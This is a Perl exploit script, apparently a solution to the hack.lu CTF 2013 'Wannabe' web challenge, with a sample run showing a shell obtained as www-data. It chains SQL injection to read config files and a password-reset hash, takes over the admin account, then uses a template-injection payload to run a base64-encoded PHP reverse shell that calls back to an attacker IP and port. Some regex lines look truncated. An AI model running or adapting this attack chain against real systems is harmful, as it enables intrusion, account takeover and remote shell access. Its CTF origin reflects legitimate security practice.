#!/usr/bin/env perl
# fckarthurpro.pl
# hack.lu CTF 2013 - Wannabe
# by fbr - 20130923
=pod
fbr ~/wargames/ctf/fluxfingers/chal6 % perl fckarthurpro.pl -b 31.204.153.49:23110
[*] attacking https://ctf.fluxfingers.net:1317/
[*] getting db_prefix ... success
[+] db_prefix: 6karuhf843_
[*] getting reset hash ... success
[+] reset hash: 89b4af732ad31b62229f3b49a8c3d3835a38
[*] setting admin pw ... success
[+] login: admin:AAAAAAAAAAAAAAAAAAaa1234
[*] logging in as admin ... success
[*] send magic and get a shell ...
[+] connection from 149.13.33.74:55339
bash: no job control in this shell
www-data@wannabe:/var/www$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=cut
use strict;
use warnings;
use IO::Socket::INET;
use LWP::UserAgent;
use MIME::Base64;
$|++;
my ($dbpref, $reset, $ip, $port);
my $url = 'https://ctf.fluxfingers.net:1317/';
my $pw = 'A'x18 . 'aa'. '1234';
my $ua = LWP::UserAgent->new(
'timeout' => 5,
'cookie_jar' => {},
'ssl_opts' => {
'verify_hostname' => 0
}
);
sub banner
{
print 'hack.lu CTF 2013 - Wannabe',$/,
'by fbr',$/,$/;
}
sub usage
{
print 'usage: fckarthurpro.pl -b ip:port', $/,
' -b - ip:port for reverse shell', $/, $/;
exit;
}
sub get_response
{
my $path = shift;
my $method = shift;
my @data = shift;
my $res;
if ($method eq 'get') {
$res = $ua->get($url . $path);
return $res;
} elsif ($method eq 'post') {
$res = $ua->post($url . $path, @data);
return $res;
}
return 0;
}
sub fire_sqli
{
my $inj = shift;
my $file = shift || 'PWND';
my $sql = '1, (SELECT '. $inj . '), 0x' . unpack("H*", $file) . ', 1),(1';
my $res = $ua->post($url . '?site=bug&action=add',
'content_type' => 'form-data',
'content' => [
'title' => 'PWND',
'rating' => $sql,
'prove' => [
undef,
'haxarthurpro.jpg',
'content' => 'fbr <3 c3'
]
]
);
return $res if ($res->is_success);
return 0;
}
sub get_file
{
my $file = shift;
my $res = fire_sqli('0x' . unpack('H*', 'getsource'), $file);
(my $id) = ($res->content =~ m#
download | #);
$res = get_response('?site=bug&action=dl&id='. $id, 'get');
return $res->content if ($res->is_success);
return 0;
}
sub get_dbpref
{
my $file = get_file('include/config.php');
return 0 unless ($file);
($dbpref) = ($file =~ m#db_prefix.* = "(.*)";#);
return $dbpref if ($dbpref);
return 0;
}
sub get_reset
{
my $user = shift;
my $inj = 'CONCAT_WS(0x3a,0x' . unpack('H*', 'fbrhax') . ',reset) FROM ' . $dbpref . 'user WHERE name = 0x' . unpack('H*', 'guest');
my $res = get_response('?action=reset&site=lost&username=guest', 'get');
return 2 unless ($res->content =~ /email was send/);
$res = fire_sqli($inj);
($reset) = ($res->content =~ /fbrhax:(.*?));
return $reset if ($reset);
return 0;
}
sub set_pw
{
my $res = get_response('?action=update&site=lost&id=0x1&pass=' . $pw . '&pass2=' . $pw . '&code=' . $reset, 'get');
return 2 if ($res->content =~ /Invalid reset code/);
return 1 if ($res->content =~ /password successfully reseted/);
return 0;
}
sub login
{
my $res = get_response('?site=login', 'post',
[
'user' => 'admin',
'pass' => $pw
]
);
return 1 if ($res->content =~ /Welcome Admin/);
return 0;
}
sub fire_rce
{
my $rce = 'php -r \'$sock=fsockopen("' . $ip .'",' . $port . ');exec("/bin/bash -i <&3 >&3 2>&3 &");\'';
my $b64_rce = encode_base64($rce);
$b64_rce =~ s/=//g;
$b64_rce =~ s/\n//g;
my $sock = IO::Socket::INET->new(
'LocalPort' => $port,
'Proto' => 'TCP',
'Listen' => 1,
'Reuse' => 1,
);
$sock->autoflush(1);
my $res = get_response('?site=panel', 'post',
[
'title' => 'pwn',
'text' => '{{ "red: {${@system(base64_decode(' . $b64_rce . '))}}"|makestatus }}',
'password' => $pw,
'action' => 'prev'
]
);
while (my $bckd = $sock->accept) {
print("[+] connection from ".$bckd->peerhost.":".$bckd->peerport."\n");
if (!fork()) {
close STDIN;
read_write($bckd, *STDOUT);
exit;
} else {
close STDOUT;
read_write(*STDIN, $bckd);
}
}
return 0;
}
sub read_write
{
my ($src, $dst) = @_;
my $buf;
while (my $rlen = sysread($src, $buf, 1024)) {
my $wlen = $rlen;
while ($wlen) {
my $written_len = syswrite($dst, $buf);
return unless $written_len;
$wlen -= $written_len;
}
}
}
while ($_ = $ARGV[0]) {
shift;
/^-b/ && do { ($ip, $port) = split/:/,shift; };
/^-h/ && do { usage; }
}
die '[!] provide ip:port for shell' unless defined $ip;
print '[*] attacking ', $url, $/;
print '[*] getting db_prefix ... ';
my $state = get_dbpref();
if (!$state) {
print 'failed!', $/;
die '[!] aborting for security reasons.', $/;
} else {
print 'success', $/;
print '[+] db_prefix: ', $dbpref, $/;
}
print '[*] getting reset hash ... ';
$state = get_reset();
if (!$state) {
print 'failed!', $/;
die '[!] aborting for security reasons.', $/;
} elsif ($state eq 2) {
print 'failed!', $/;
print '[-] email password was not send', $/;
die '[!] aborting for security reasons.', $/;
} else {
print 'success', $/;
print '[+] reset hash: ', $state, $/;
}
print '[*] setting admin pw ... ';
$state = set_pw();
if (!$state) {
print 'failed!', $/;
die '[!] aborting for security reasons.', $/;
} elsif ($state eq 2) {
print 'failed!', $/;
print '[-] invalid reset code', $/;
die '[!] aborting for security reasons.', $/;
} else {
print 'success', $/;
print '[+] login: admin:', $pw, $/;
}
print '[*] logging in as admin ... ';
$state = login();
if (!$state) {
print 'failed!', $/;
die '[!] aborting for security reasons.', $/;
} else {
print 'success', $/;
}
print '[*] send magic and get a shell ... ', $/;
$state = fire_rce();